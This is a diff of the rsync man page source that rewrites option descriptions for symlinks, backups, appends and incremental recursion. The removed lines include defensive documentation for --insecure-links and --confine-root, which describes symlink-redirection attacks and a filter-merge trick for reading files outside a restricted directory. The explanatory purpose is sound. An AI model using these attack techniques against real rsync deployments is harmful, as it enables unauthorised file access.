o\n-\\fB\\-\\-prune\\-empty\\-dirs\\fP\n+\\fB\\-\\-prune-empty-dirs\\fP\n .IP o\n-\\fB\\-\\-delay\\-updates\\fP\n-.IP o\n-\\fB\\-\\-delay\\-symlinks\\fP\n+\\fB\\-\\-delay-updates\\fP\n .RE\n .IP\n-In order to be compatible with incremental recursion,\n-\\fB\\-\\-delete\\-during\\fP is the default delete mode for \\fB\\-\\-delete\\fP.\n+In order to make \\fB\\-\\-delete\\fP compatible with incremental recursion,\n+rsync 3.0.0 made \\fB\\-\\-delete-during\\fP the default delete mode (which\n+was first added in 2.6.4).\n .IP\n One side-effect of incremental recursion is that any missing\n sub-directories inside a recursively-scanned directory are (by default)\n-created prior to recursing into the sub-directories.  This earlier creation point\n+created prior to recursing into the sub-dirs.  This earlier creation point\n (compared to a non-incremental recursion) allows rsync to then set the\n modify time of the finished directory right away (without having to delay\n that until a bunch of recursive copying has finished).  However, these\n early directories don't yet have their completed mode, mtime, or ownership\n set\\ \\-\\- they have more restrictive rights until the subdirectory's copying\n actually begins.  This early-creation idiom can be avoided by using the\n-\\fB\\-\\-omit\\-dir\\-times\\fP option.\n+\\fB\\-\\-omit-dir-times\\fP option.\n .IP\n Incremental recursion can be disabled using the\n-\\fB\\-\\-no\\-inc\\-recursive\\fP (\\fB\\-\\-no\\-i\\-r\\fP) option.\n-.IP \"\\fB\\-\\-no\\-inc\\-recursive\\fP, \\fB\\-\\-no\\-i\\-r\\fP\"\n-Disables the incremental recursion algorithm of the\n+\\fB\\-\\-no-inc-recursive\\fP (\\fB\\-\\-no-i-r\\fP) option.\n+.IP \"\\fB\\-\\-no-inc-recursive\\fP, \\fB\\-\\-no-i-r\\fP\"\n+Disables the new incremental recursion algorithm of the\n \\fB\\-\\-recursive\\fP option.  This makes rsync scan the full file list\n-before it begins to transfer files.  See \\fB\\-\\-inc\\-recursive\\fP for more\n+before it begins to transfer files.  See \\fB\\-\\-inc-recursive\\fP for more\n info.\n .IP \"\\fB\\-\\-relative\\fP, \\fB\\-R\\fP\"\n Use relative paths.  This means that the full path names specified on the\n command line are sent to the server rather than just the last parts of the\n filenames.  This is particularly useful when you want to send several\n-different directories at the same time.  For example, this command:\n+different directories at the same time.  For example, if you used this\n+command:\n .RS 4\n .IP\n .nf\n@@ -1158,19 +1019,18 @@ machine, preserving its full path.  These extra path elements are called\n \"implied directories\" (i.e. the \"foo\" and the \"foo/bar\" directories in the\n above example).\n .IP\n-Rsync always sends these implied directories as\n+Beginning with rsync 3.0.0, rsync always sends these implied directories as\n real directories in the file list, even if a path element is really a\n symlink on the sending side.  This prevents some really unexpected behaviors\n-when copying the full path of a file that has a symlink\n+when copying the full path of a file that you didn't realize had a symlink\n in its path.  If you want to duplicate a server-side symlink, include both\n-the symlink via its path, and the referent directory via its real path.  If\n+the symlink via its path, and referent directory via its real path.  If\n you're dealing with an older rsync on the sending side, you may need to use\n-the \\fB\\-\\-no\\-implied\\-dirs\\fP option.\n+the \\fB\\-\\-no-implied-dirs\\fP option.\n .IP\n It is also possible to limit the amount of path information that is sent as\n implied directories for each path you specify.  With a modern rsync on the\n-sending side (beginning with 2.6.7, released March 2006),\n-you can insert a dot and a slash into\n+sending side (beginning with 2.6.7), you can insert a dot and a slash into\n the source path, like this:\n .RS 4\n .IP\n@@ -1179,9 +1039,9 @@ rsync -avR /foo/./bar/baz.c remote:/tmp/\n .fi\n .RE\n .IP\n-That would create /tmp/bar/baz.c on the receiving machine. (Note that the dot\n+That would create /tmp/bar/baz.c on the remote machine. (Note that the dot\n must be followed by a slash, so \"/foo/.\" would not be abbreviated.) For\n-older rsync versions, you would need to change directory to limit the source\n+older rsync versions, you would need to use a chdir to limit the source\n path.  For example, when pushing files:\n .RS 4\n .IP\n@@ -1190,7 +1050,7 @@ path.  For example, when pushing files:\n .fi\n .RE\n .IP\n-(Note that the parentheses put the two commands into a sub-shell, so that the\n+(Note that the parens put the two commands into a sub-shell, so that the\n \"cd\" command doesn't remain in effect for future commands.) If you're\n pulling files from an older rsync, use this idiom (but only for a\n non-daemon transfer):\n@@ -1201,7 +1061,7 @@ rsync -avR --rsync-path=\"cd /foo; rsync\" \\\\\n      remote:bar/baz.c /tmp/\n .fi\n .RE\n-.IP \"\\fB\\-\\-no\\-implied\\-dirs\\fP\"\n+.IP \"\\fB\\-\\-no-implied-dirs\\fP\"\n This option affects the default behavior of the \\fB\\-\\-relative\\fP option.  When\n it is specified, the attributes of the implied directories from the source\n names are not included in the transfer.  This means that the corresponding\n@@ -1210,41 +1070,33 @@ and any missing implied directories are created with default attributes.\n This even allows these implied path elements to have big differences, such\n as being a symlink to a directory on the receiving side.\n .IP\n-For instance, if a command-line argument or a files-from entry told rsync to\n+For instance, if a command-line arg or a files-from entry told rsync to\n transfer the file \"path/foo/file\", the directories \"path\" and \"path/foo\"\n are implied when \\fB\\-\\-relative\\fP is used.  If \"path/foo\" is a symlink to \"bar\"\n on the destination system, the receiving rsync would ordinarily delete\n \"path/foo\", recreate it as a directory, and receive the file into the new\n-directory.  With \\fB\\-\\-no\\-implied\\-dirs\\fP, the receiving rsync leaves the\n-existing \"path/foo\" symlink in place and follows it, so the file is written\n-through the symlink and ends up in \"path/bar\".  Note the security\n-implication: a pre-existing in-tree symlink-to-directory on the receiving\n-side will redirect where the file is written, so only use\n-\\fB\\-\\-no\\-implied\\-dirs\\fP when you trust the destination's existing path elements.\n-(A symlink whose target is absolute or escapes the destination tree is still\n-refused by the secure path resolver rather than followed.)  Another way to\n-accomplish this link preservation is to use the \\fB\\-\\-keep\\-dirlinks\\fP\n-option (which will also affect symlinks to directories in the rest of the\n-transfer).\n+directory.  With \\fB\\-\\-no-implied-dirs\\fP, the receiving rsync updates\n+\"path/foo/file\" using the existing path elements, which means that the file\n+ends up being created in \"path/bar\".  Another way to accomplish this link\n+preservation is to use the \\fB\\-\\-keep-dirlinks\\fP option (which will also affect\n+symlinks to directories in the rest of the transfer).\n .IP\n-When pulling files from an rsync older than 3.0.0 (March 2008),\n-you may need to use this\n+When pulling files from an rsync older than 3.0.0, you may need to use this\n option if the sending side has a symlink in the path you request and you\n wish the implied directories to be transferred as normal directories.\n .IP \"\\fB\\-\\-backup\\fP, \\fB\\-b\\fP\"\n With this option, preexisting destination files are renamed as each file is\n-transferred or deleted (that is, each file to be deleted or overwritten\n-gets renamed instead).  You can control where the backup file goes and\n-what (if any) suffix gets appended using the \\fB\\-\\-backup\\-dir\\fP and\n+transferred or deleted.  You can control where the backup file goes and\n+what (if any) suffix gets appended using the \\fB\\-\\-backup-dir\\fP and\n \\fB\\-\\-suffix\\fP options.\n .IP\n-If you don't specify \\fB\\-\\-backup\\-dir\\fP:\n+If you don't specify \\fB\\-\\-backup-dir\\fP:\n .RS\n .IP\n .IP 1.\n-the \\fB\\-\\-omit\\-dir\\-times\\fP option will be forced on\n+the \\fB\\-\\-omit-dir-times\\fP option will be forced on\n .IP 2.\n-the use of \\fB\\-\\-delete\\fP (without \\fB\\-\\-delete\\-excluded\\fP),\n+the use of \\fB\\-\\-delete\\fP (without \\fB\\-\\-delete-excluded\\fP),\n causes rsync to add a \"protect\" filter-rule for the\n backup suffix to the end of all your existing filters that looks like\n this: \\fB\\-f\\ \"P\\ *~\"\\fP.  This rule prevents previously backed-up files from\n@@ -1256,7 +1108,7 @@ manually insert your own exclude/protect rule somewhere higher up in the\n list so that it has a high enough priority to be effective (e.g. if your\n rules specify a trailing inclusion/exclusion of \\fB*\\fP, the auto-added rule\n would never be reached).\n-.IP \"\\fB\\-\\-backup\\-dir=DIR\\fP\"\n+.IP \"\\fB\\-\\-backup-dir=DIR\\fP\"\n This implies the \\fB\\-\\-backup\\fP option, and tells rsync to store all\n backups in the specified directory on the receiving side.  This can be used\n for incremental backups.  You can additionally specify a backup suffix\n@@ -1266,23 +1118,22 @@ specified directory will keep their original filenames).\n Note that if you specify a relative path, the backup directory will be\n relative to the destination directory, so you probably want to specify\n either an absolute path or a path that starts with \"../\".  If an rsync\n-daemon is the receiver, the backup directory cannot go outside the module's\n-path hierarchy, so take extra care not to delete or copy into the\n-backup directory inadvertently.\n+daemon is the receiver, the backup dir cannot go outside the module's path\n+hierarchy, so take extra care not to delete it or copy into it.\n .IP \"\\fB\\-\\-suffix=SUFFIX\\fP\"\n This option allows you to override the default backup suffix used with the\n \\fB\\-\\-backup\\fP (\\fB\\-b\\fP) option.  The default suffix is a \\fB~\\fP if no\n-\\fB\\-\\-backup\\-dir\\fP was specified, otherwise it is an empty string.\n+\\fB\\-\\-backup-dir\\fP was specified, otherwise it is an empty string.\n .IP \"\\fB\\-\\-update\\fP, \\fB\\-u\\fP\"\n This forces rsync to skip any files which exist on the destination and have\n a modified time that is newer than the source file. (If an existing\n destination file has a modification time equal to the source file's, it\n will be updated if the sizes are different.)\n .IP\n-Note that this does not affect the copying of directories, symlinks, or other\n-special files.  Also, a difference of object type between the sender and\n+Note that this does not affect the copying of dirs, symlinks, or other\n+special files.  Also, a difference of file format between the sender and\n receiver is always considered to be important enough for an update, no\n-matter what date is on the objects.  For example, if the source has a\n+matter what date is on the objects.  In other words, if the source has a\n directory where the destination has a file, the transfer would occur\n regardless of the timestamps.\n .IP\n@@ -1339,11 +1190,12 @@ bound.  It can also help keep a copy-on-write filesystem snapshot from\n diverging the entire contents of a file that only has minor changes.\n .IP\n The option implies \\fB\\-\\-partial\\fP (since an interrupted transfer does\n-not delete the file), but conflicts with \\fB\\-\\-partial\\-dir\\fP and\n-\\fB\\-\\-delay\\-updates\\fP.\n+not delete the file), but conflicts with \\fB\\-\\-partial-dir\\fP and\n+\\fB\\-\\-delay-updates\\fP.  Prior to rsync 2.6.4 \\fB\\-\\-inplace\\fP was also\n+incompatible with \\fB\\-\\-compare-dest\\fP and \\fB\\-\\-link-dest\\fP.\n .IP \"\\fB\\-\\-append\\fP\"\n-This special copy mode is only applicable to update files that are\n-known to be growing larger, that is, where any existing content on the receiving side\n+This special copy mode only works to efficiently update files that are\n+known to be growing larger where any existing content on the receiving side\n is also known to be the same as the content on the sender.  The use of\n \\fB\\-\\-append\\fP \\fBcan be dangerous\\fP if you aren't 100% sure that all the files\n in the transfer are shared, growing files.  You should thus use filter\n@@ -1352,8 +1204,8 @@ rules to ensure that you weed out any files that do not fit this criteria.\n Rsync updates these growing file in-place without verifying any of the\n existing content in the file (it only verifies the content that it is\n appending).  Rsync skips any files that exist on the receiving side that\n-are not shorter than the associated file on the sending side.\n-It also skips any files whose size on the\n+are not shorter than the associated file on the sending side (which means\n+that new files are transferred).  It also skips any files whose size on the\n sending side gets shorter during the send negotiations (rsync warns about a\n \"diminished\" file when this happens).\n .IP\n@@ -1361,17 +1213,17 @@ This does not interfere with the updating of a file's non-content\n attributes (e.g.  permissions, ownership, etc.) when the file does not need\n to be transferred, nor does it affect the updating of any directories or\n non-regular files.\n-.IP \"\\fB\\-\\-append\\-verify\\fP\"\n+.IP \"\\fB\\-\\-append-verify\\fP\"\n This special copy mode works like \\fB\\-\\-append\\fP except that all the\n-data in the file is included in the checksum verification, making it less\n-efficient but also potentially safer.  This option \\fBcan be dangerous\\fP if\n+data in the file is included in the checksum verification (making it less\n+efficient but also potentially safer).  This option \\fBcan be dangerous\\fP if\n you aren't 100% sure that all the files in the transfer are shared, growing\n files.  See the \\fB\\-\\-append\\fP option for more details.\n .IP\n-Note: prior to rsync 3.0.0 (March 2008), the \\fB\\-\\-append\\fP option worked like\n-\\fB\\-\\-append\\-verify\\fP, so if you are interacting with an older rsync (or the\n+Note: prior to rsync 3.0.0, the \\fB\\-\\-append\\fP option worked like\n+\\fB\\-\\-append-verify\\fP, so if you are interacting with an older rsync (or the\n transfer is using a protocol prior to 30), specifying either append option\n-will initiate an \\fB\\-\\-append\\-verify\\fP transfer.\n+will initiate an \\fB\\-\\-append-verify\\fP transfer.\n .IP \"\\fB\\-\\-dirs\\fP, \\fB\\-d\\fP\"\n Tell the sending side to include any directories that are encountered.\n Unlike \\fB\\-\\-recursive\\fP, a directory's contents are not copied unless\n@@ -1381,24 +1233,21 @@ the directory name specified is \".\" or ends with a trailing slash (e.g.\n (and output a message to that effect for each one).  If you specify both\n \\fB\\-\\-dirs\\fP and \\fB\\-\\-recursive\\fP, \\fB\\-\\-recursive\\fP takes precedence.\n .IP\n-The \\fB\\-\\-dirs\\fP option is implied by the \\fB\\-\\-files\\-from\\fP option or the\n-\\fB\\-\\-list\\-only\\fP option (including an implied \\fB\\-\\-list\\-only\\fP\n+The \\fB\\-\\-dirs\\fP option is implied by the \\fB\\-\\-files-from\\fP option or the\n+\\fB\\-\\-list-only\\fP option (including an implied \\fB\\-\\-list-only\\fP\n usage) if \\fB\\-\\-recursive\\fP wasn't specified (so that directories are\n-seen in the listing).  Specify \\fB\\-\\-no\\-dirs\\fP (or \\fB\\-\\-no\\-d\\fP) if you want to\n+seen in the listing).  Specify \\fB\\-\\-no-dirs\\fP (or \\fB\\-\\-no-d\\fP) if you want to\n turn this off.\n .IP\n-See also the backward-compatibility helper option \\fB\\-\\-old\\-dirs\\fP.\n-.IP \"\\fB\\-\\-old\\-dirs\\fP, \\fB\\-\\-old\\-d\\fP\"\n-This backward-compatibility helper tells rsync to use a hack of\n-\\fB\\-r\\ \\-\\-exclude='/*/*'\\fP to get an older remote rsync to list a single directory\n-without recursing.\n+There is also a backward-compatibility helper option, \\fB\\-\\-old-dirs\\fP\n+(\\fB\\-\\-old-d\\fP) that tells rsync to use a hack of \\fB\\-r\\ \\-\\-exclude='/*/*'\\fP to get\n+an older rsync to list a single directory without recursing.\n .IP \"\\fB\\-\\-mkpath\\fP\"\n Create all missing path components of the destination path.\n .IP\n-By default, rsync will create only the final component of the destination path\n-if it does not exist.  If any other component does not exist that is an\n-error, as this can help to catch mistakes in the destination path specification.\n-With this option, rsync creates all the missing destination-path\n+By default, rsync allows only the final component of the destination path\n+to not exist, which is an attempt to help you to validate your destination\n+path.  With this option, rsync creates all the missing destination-path\n components, just as if \\fBmkdir\\ \\-p\\ $DEST_PATH\\fP had been run on the receiving\n side.\n .IP\n@@ -1408,11 +1257,11 @@ file list has a single item. See the COPYING TO A DIFFERENT NAME\n section for full details on how rsync decides if a final destination-path\n component should be created as a directory or not.\n .IP\n-If you would like the newly-created destination directories to match the directories on\n+If you would like the newly-created destination dirs to match the dirs on\n the sending side, you should be using \\fB\\-\\-relative\\fP (\\fB\\-R\\fP) instead\n of \\fB\\-\\-mkpath\\fP.  For instance, the following two commands result in the same\n destination tree, but only the second command ensures that the\n-\"some/extra/path\" components match the directories on the sending side:\n+\"some/extra/path\" components match the dirs on the sending side:\n .RS 4\n .IP\n .nf\n@@ -1423,13 +1272,13 @@ rsync -aiR host:some/extra/path/*.c ./\n .IP \"\\fB\\-\\-links\\fP, \\fB\\-l\\fP\"\n Add symlinks to the transferred files instead of noisily ignoring them with\n a \"non-regular file\" warning for each symlink encountered.  You can\n-alternatively silence the warning by specifying \\fB\\-\\-info=nonreg0\\fP.\n+alternately silence the warning by specifying \\fB\\-\\-info=nonreg0\\fP.\n .IP\n The default handling of symlinks is to recreate each symlink's unchanged\n value on the receiving side.\n .IP\n See the SYMBOLIC LINKS section for multi-option info.\n-.IP \"\\fB\\-\\-copy\\-links\\fP, \\fB\\-L\\fP\"\n+.IP \"\\fB\\-\\-copy-links\\fP, \\fB\\-L\\fP\"\n The sender transforms each symlink encountered in the transfer into the\n referent item, following the symlink chain to the file or directory that it\n references.  If a symlink chain is broken, an error is output and the file\n@@ -1439,173 +1288,107 @@ This option supersedes any other options that affect symlinks in the\n transfer, since there are no symlinks left in the transfer.\n .IP\n This option does not change the handling of existing symlinks on the\n-receiving side.\n-.IP\n-See the \\fB\\-\\-keep\\-dirlinks\\fP (\\fB\\-K\\fP) if you need a symlink to a\n+receiving side, unlike versions of rsync prior to 2.6.3 which had the\n+side-effect of telling the receiving side to also follow symlinks.  A\n+modern rsync won't forward this option to a remote receiver (since only the\n+sender needs to know about it), so this caveat should only affect someone\n+using an rsync client older than 2.6.7 (which is when \\fB\\-L\\fP stopped being\n+forwarded to the receiver).\n+.IP\n+See the \\fB\\-\\-keep-dirlinks\\fP (\\fB\\-K\\fP) if you need a symlink to a\n directory to be treated as a real directory on the receiving side.\n .IP\n See the SYMBOLIC LINKS section for multi-option info.\n-.IP \"\\fB\\-\\-copy\\-unsafe\\-links\\fP\"\n+.IP \"\\fB\\-\\-copy-unsafe-links\\fP\"\n This tells rsync to copy the referent of symbolic links that point outside\n the copied tree.  Absolute symlinks are also treated like ordinary files,\n and so are any symlinks in the source path itself when \\fB\\-\\-relative\\fP\n is used.\n .IP\n-A symlink is judged unsafe by a lexical test on its value, without resolving\n-it on disk.  An absolute or empty target is always unsafe.  A relative\n-target is unsafe if its \"..\" components would climb above the top of the\n-transfer; a \"..\" that appears anywhere other than as a leading prefix (an\n-embedded or trailing \"/..\") is also treated as unsafe.  The top is set by\n-how the source is specified: a trailing slash on the source (e.g.\n-\"/src/subdir/\" copied to \"/dest/subdir\") makes that directory itself the\n-top, so a symlink may not point above it; without the trailing slash (e.g.\n-\"/src/subdir\" copied to \"/dest/\") the source's parent (\"/src\") is the top,\n-so \"subdir\" is a name inside the transfer and a relative symlink may point\n-to any other name within it.\n+Note that the cut-off point is the top of the transfer, which is the part\n+of the path that rsync isn't mentioning in the verbose output.  If you copy\n+\"/src/subdir\" to \"/dest/\" then the \"subdir\" directory is a name inside the\n+transfer tree, not the top of the transfer (which is /src) so it is legal\n+for created relative symlinks to refer to other names inside the /src and\n+/dest directories.  If you instead copy \"/src/subdir/\" (with a trailing\n+slash) to \"/dest/subdir\" that would not allow symlinks to any files outside\n+of \"subdir\".\n .IP\n Note that safe symlinks are only copied if \\fB\\-\\-links\\fP was also\n-specified or implied. The \\fB\\-\\-copy\\-unsafe\\-links\\fP option has no extra effect\n-when combined with \\fB\\-\\-copy\\-links\\fP.\n+specified or implied. The \\fB\\-\\-copy-unsafe-links\\fP option has no extra effect\n+when combined with \\fB\\-\\-copy-links\\fP.\n .IP\n See the SYMBOLIC LINKS section for multi-option info.\n-.IP \"\\fB\\-\\-safe\\-links\\fP\"\n+.IP \"\\fB\\-\\-safe-links\\fP\"\n This tells the receiving rsync to ignore any symbolic links in the transfer\n which point outside the copied tree.  All absolute symlinks are also\n ignored.\n .IP\n Since this ignoring is happening on the receiving side, it will still be\n effective even when the sending side has munged symlinks (when it is using\n-\\fB\\-\\-munge\\-links\\fP). It also affects deletions, since the file being\n+\\fB\\-\\-munge-links\\fP). It also affects deletions, since the file being\n present in the transfer prevents any matching file on the receiver from\n being deleted when the symlink is deemed to be unsafe and is skipped.\n .IP\n-This option has no effect unless it is combined with \\fB\\-\\-links\\fP (or\n-an option that implies \\fB\\-\\-links\\fP such as \\fB\\-\\-archive\\fP),\n-because without \\fB\\-\\-links\\fP there will not be any symlinks in the\n-transfer.  Its effect is superseded by \\fB\\-\\-copy\\-unsafe\\-links\\fP.\n+This option must be combined with \\fB\\-\\-links\\fP (or\n+\\fB\\-\\-archive\\fP) to have any symlinks in the transfer to conditionally\n+ignore. Its effect is superseded by \\fB\\-\\-copy-unsafe-links\\fP.\n .IP\n Using this option in conjunction with \\fB\\-\\-relative\\fP may give\n unexpected results.\n .IP\n See the SYMBOLIC LINKS section for multi-option info.\n-.IP \"\\fB\\-\\-insecure\\-links\\fP\"\n-By default rsync resolves the directory and file paths that the \\fBoperator\\fP\n-supplies on the command line with a defensive directory-tree walk that\n-\\fBfollows a symlink component only when it is owned by uid\\ 0 or by the\n-running user\\fP, and\n-refuses one owned by any other user.  This stops an attacker who can write\n-inside one of those directories from planting a symlink that\n-redirects a privileged rsync to a target outside the intended tree, while\n-still honouring the operator's own symlinks.\n-The rule is the same for absolute and relative paths.\n-This applies to the destination directory and to the parameters to the\n-following options: \\fB\\-\\-backup\\-dir\\fP, \\fB\\-\\-temp\\-dir\\fP/\\fB\\-T\\fP,\n-\\fB\\-\\-partial\\-dir\\fP, \\fB\\-\\-link\\-dest\\fP, \\fB\\-\\-compare\\-dest\\fP, \\fB\\-\\-copy\\-dest\\fP, \\fB\\-\\-log\\-file\\fP,\n-\\fB\\-\\-password\\-file\\fP, \\fB\\-\\-files\\-from\\fP, \\fB\\-\\-include\\-from\\fP, \\fB\\-\\-exclude\\-from\\fP,\n-\\fB\\-\\-filter\\fP merge files, \\fB\\-\\-write\\-batch\\fP and \\fB\\-\\-read\\-batch\\fP.\n-.IP\n-\\fB\\-\\-insecure\\-links\\fP turns that defence off, restoring the historical behaviour\n-of following any symlink in those paths.  Use it only when you fully trust\n-every directory along each operator-supplied path, as it re-exposes the\n-symlink-redirection attacks the walk prevents.\n-.IP\n-The option is \\fBlocal only\\fP: it is not sent to the remote side of the\n-transfer.  A remote-shell peer that needs the opt-out must set it there, e.g.\n-via \\fB\\-\\-rsync\\-path\\fP), and a daemon never honours it\\ \\-\\- a daemon that\n-receives \\fB\\-\\-insecure\\-links\\fP from a client refuses the request.  A daemon\n-administrator who wants the legacy behaviour for a single trusted module sets\n-\"\\fBinsecure\\ links\\ =\\ yes\\fP\" in that module's \\fBrsyncd.conf\\fP(5) section instead;\n-a client can never enable it.\n-.IP\n-See the SYMBOLIC LINKS section for multi-option info.\n-.IP \"\\fB\\-\\-confine\\-root=DIR\\fP\"\n-In the default symlink mode this bounds where operator option paths and\n-paths selected from a \\fB\\-\\-files\\-from\\fP list are allowed to resolve:\n-one that ends up outside DIR is refused, even if every symlink along it was\n-owned by a trusted user. Explicit source roots remain operator-selected\n-transfer roots.\n-The ownership walk asks who planted a link; this asks where the path came\n-out.\n-.IP\n-DIR must be absolute.  Nothing is confined by default, and\n-\\fB\\-\\-confine\\-root=/\\fP is a no-op.\n-.IP\n-It exists for a wrapper that serves a restricted directory over a remote\n-shell, \\fBrrsync\\fP being the one shipped here, which passes it automatically\n-whenever its restricted dir is not \"\\fB/\\fP\".  Such a wrapper can vet the argv\n-it is handed, but filter rules travel over the protocol instead: a client\n-can name a merge file outside the restricted dir in a dir-merge rule and\n-have the server read it in as filter rules.  On a pull that needs neither\n-\\fB\\-\\-delete\\fP nor any verbosity, because an exclude-only merge (the \"\\fB\\-\\fP\"\n-modifier) makes every line a pattern, and the client reads the file's\n-contents off which of its own names went missing.  Confining the open is\n-what closes that; a merge file inside DIR keeps working as before.\n-.IP\n-A daemon ignores this option\\ \\-\\- its module directory is already the\n-boundary, and the option arrives in a client-supplied argv, so honouring it\n-could only widen the module.\n-.IP\n-\\fB\\-\\-insecure\\-links\\fP is refused alongside it.  That opt-out restores\n-the historical open, which skips the walk that enforces the root, so the two\n-together would silently mean no confinement at all.\n-.IP\n-Like \\fB\\-\\-drop\\-D\\fP, it is not forwarded to the remote side: it is meant\n-to be applied to one end of a connection by itself.\n-.IP \"\\fB\\-\\-munge\\-links\\fP\"\n+.IP \"\\fB\\-\\-munge-links\\fP\"\n This option affects just one side of the transfer and tells rsync to munge\n symlink values when it is receiving files or unmunge symlink values when it\n-is sending files.\n-\"Munging\" changes the symlink target so that the symlink cannot be followed\n-successfully, but allows the original target of the symlink to be\n-recovered. \"Unmunging\" reverses this process so that the symlink points to\n-the original target.\n+is sending files.  The munged values make the symlinks unusable on disk but\n+allows the original contents of the symlinks to be recovered.\n .IP\n-This option can be enabled on the server side without the client's\n+The server-side rsync often enables this option without the client's\n knowledge, such as in an rsync daemon's configuration file or by an option\n given to the rrsync (restricted rsync) script.  When specified on the\n client side, specify the option normally if it is the client side that\n-has or needs the munged symlinks, or use \\fB\\-M\\-\\-munge\\-links\\fP to give the option\n-to the server when it has or needs the munged symlinks.  Note that on a local\n+has/needs the munged symlinks, or use \\fB\\-M\\-\\-munge-links\\fP to give the option\n+to the server when it has/needs the munged symlinks.  Note that on a local\n transfer, the client is the sender, so specifying the option directly\n unmunges symlinks while specifying it as a remote option munges symlinks.\n .IP\n-This option has no effect when sent to a daemon via \\fB\\-\\-remote\\-option\\fP\n+This option has no effect when sent to a daemon via \\fB\\-\\-remote-option\\fP\n because the daemon configures whether it wants munged symlinks via its\n \"\\fBmunge\\ symlinks\\fP\" parameter.\n .IP\n-The symlink value is munged or unmunged once it is in the transfer, so any\n+The symlink value is munged/unmunged once it is in the transfer, so any\n option that transforms symlinks into non-symlinks occurs prior to the\n-munging/unmunging \\fBexcept\\fP for \\fB\\-\\-safe\\-links\\fP, which is a choice\n+munging/unmunging \\fBexcept\\fP for \\fB\\-\\-safe-links\\fP, which is a choice\n that the receiver makes, so it bases its decision on the munged/unmunged\n-value.  This does mean that if a receiver has munging enabled, using\n-\\fB\\-\\-safe\\-links\\fP will cause all symlinks to be ignored (since munging\n-makes them all absolute).\n-.IP\n-The method that rsync uses to munge a symlink is to prefix its\n-value with the string \"/rsyncd-munged/\".  This prevents the link from\n-being used, provided that the /rsyncd-munged directory does not exist.\n-When this option is\n+value.  This does mean that if a receiver has munging enabled, that using\n+\\fB\\-\\-safe-links\\fP will cause all symlinks to be ignored (since they\n+are all absolute).\n+.IP\n+The method that rsync uses to munge the symlinks is to prefix each one's\n+value with the string \"/rsyncd-munged/\".  This prevents the links from\n+being used as long as the directory does not exist.  When this option is\n enabled, rsync will refuse to run if that path is a directory or a symlink\n to a directory (though it only checks at startup).  See also the\n \"munge-symlinks\" python script in the support directory of the source code\n for a way to munge/unmunge one or more symlinks in-place.\n-.IP \"\\fB\\-\\-copy\\-dirlinks\\fP, \\fB\\-k\\fP\"\n+.IP \"\\fB\\-\\-copy-dirlinks\\fP, \\fB\\-k\\fP\"\n This option causes the sending side to treat a symlink to a directory as\n though it were a real directory.  This is useful if you don't want symlinks\n to non-directories to be affected, as they would be using\n-\\fB\\-\\-copy\\-links\\fP.\n+\\fB\\-\\-copy-links\\fP.\n .IP\n Without this option, if the sending side has replaced a directory with a\n symlink to a directory, the receiving side will delete anything that is in\n the way of the new symlink, including a directory hierarchy (as long as\n \\fB\\-\\-force\\fP or \\fB\\-\\-delete\\fP is in effect).\n .IP\n-See also \\fB\\-\\-keep\\-dirlinks\\fP for an analogous option for the\n+See also \\fB\\-\\-keep-dirlinks\\fP for an analogous option for the\n receiving side.\n .IP\n-\\fB\\-\\-copy\\-dirlinks\\fP applies to all symlinks to directories in the source.  If\n+\\fB\\-\\-copy-dirlinks\\fP applies to all symlinks to directories in the source.  If\n you want to follow only a few specified symlinks, a trick you can use is to\n-pass them as additional source arguments with a trailing slash, using\n+pass them as additional source args with a trailing slash, using\n \\fB\\-\\-relative\\fP to make the paths match up right.  For example:\n .RS 4\n .IP\n@@ -1614,22 +1397,27 @@ rsync -r --relative src/./ src/./follow-me/ dest/\n .fi\n .RE\n .IP\n+This works because rsync calls \\fBlstat\\fP(2) on the source arg as given, and\n+the trailing slash makes \\fBlstat\\fP(2) follow the symlink, giving rise to a\n+directory in the file-list which overrides the symlink found during the\n+scan of \"src/./\".\n+.IP\n See the SYMBOLIC LINKS section for multi-option info.\n-.IP \"\\fB\\-\\-keep\\-dirlinks\\fP, \\fB\\-K\\fP\"\n+.IP \"\\fB\\-\\-keep-dirlinks\\fP, \\fB\\-K\\fP\"\n This option causes the receiving side to treat a symlink to a directory as\n though it were a real directory, but only if it matches a real directory\n from the sender.  Without this option, the receiver's symlink would be\n deleted and replaced with a real directory.\n .IP\n For example, suppose you transfer a directory \"foo\" that contains a file\n-\"file\", but on the receiver, \"foo\" is a symlink to directory \"bar\".  Without\n-\\fB\\-\\-keep\\-dirlinks\\fP, the receiver deletes symlink \"foo\", recreates it as a\n+\"file\", but \"foo\" is a symlink to directory \"bar\" on the receiver.  Without\n+\\fB\\-\\-keep-dirlinks\\fP, the receiver deletes symlink \"foo\", recreates it as a\n directory, and receives the file into the new directory.  With\n-\\fB\\-\\-keep\\-dirlinks\\fP, the receiver keeps the symlink and \"file\" ends up in\n+\\fB\\-\\-keep-dirlinks\\fP, the receiver keeps the symlink and \"file\" ends up in\n \"bar\".\n .IP\n-One note of caution: if you use \\fB\\-\\-keep\\-dirlinks\\fP, you must either trust all the\n-symlinks in the copy, or enable the \\fB\\-\\-munge\\-links\\fP option on the\n+One note of caution: if you use \\fB\\-\\-keep-dirlinks\\fP, you must trust all the\n+symlinks in the copy or enable the \\fB\\-\\-munge-links\\fP option on the\n receiving side!  If it is possible for an untrusted user to create their\n own symlink to any real directory, the user could then (on a subsequent\n copy) replace the symlink with a real directory and affect the content of\n@@ -1637,11 +1425,11 @@ whatever directory the symlink references.  For backup copies, you are\n better off using something like a bind mount instead of a symlink to modify\n your receiving hierarchy.\n .IP\n-See also \\fB\\-\\-copy\\-dirlinks\\fP for an analogous option for the sending\n+See also \\fB\\-\\-copy-dirlinks\\fP for an analogous option for the sending\n side.\n .IP\n See the SYMBOLIC LINKS section for multi-option info.\n-.IP \"\\fB\\-\\-hard\\-links\\fP, \\fB\\-H\\fP\"\n+.IP \"\\fB\\-\\-hard-links\\fP, \\fB\\-H\\fP\"\n This tells rsync to look for hard-linked files in the source and link\n together the corresponding files on the destination.  Without this option,\n hard-linked files in the source are treated as though they were separate\n@@ -1659,10 +1447,10 @@ them explicitly.  However, if one or more of the paths have content\n differences, the normal file-update process will break those extra links\n (unless you are using the \\fB\\-\\-inplace\\fP option).\n .IP o\n-If you specify a \\fB\\-\\-link\\-dest\\fP directory that contains hard\n+If you specify a \\fB\\-\\-link-dest\\fP directory that contains hard\n links, the linking of the destination files against the\n-\\fB\\-\\-link\\-dest\\fP files can cause some paths in the destination to\n-become linked together due to the \\fB\\-\\-link\\-dest\\fP associations.\n+\\fB\\-\\-link-dest\\fP files can cause some paths in the destination to\n+become linked together due to the \\fB\\-\\-link-dest\\fP associations.\n .RE\n .IP\n Note that rsync can only detect hard links between files that are inside\n@@ -1673,7 +1461,7 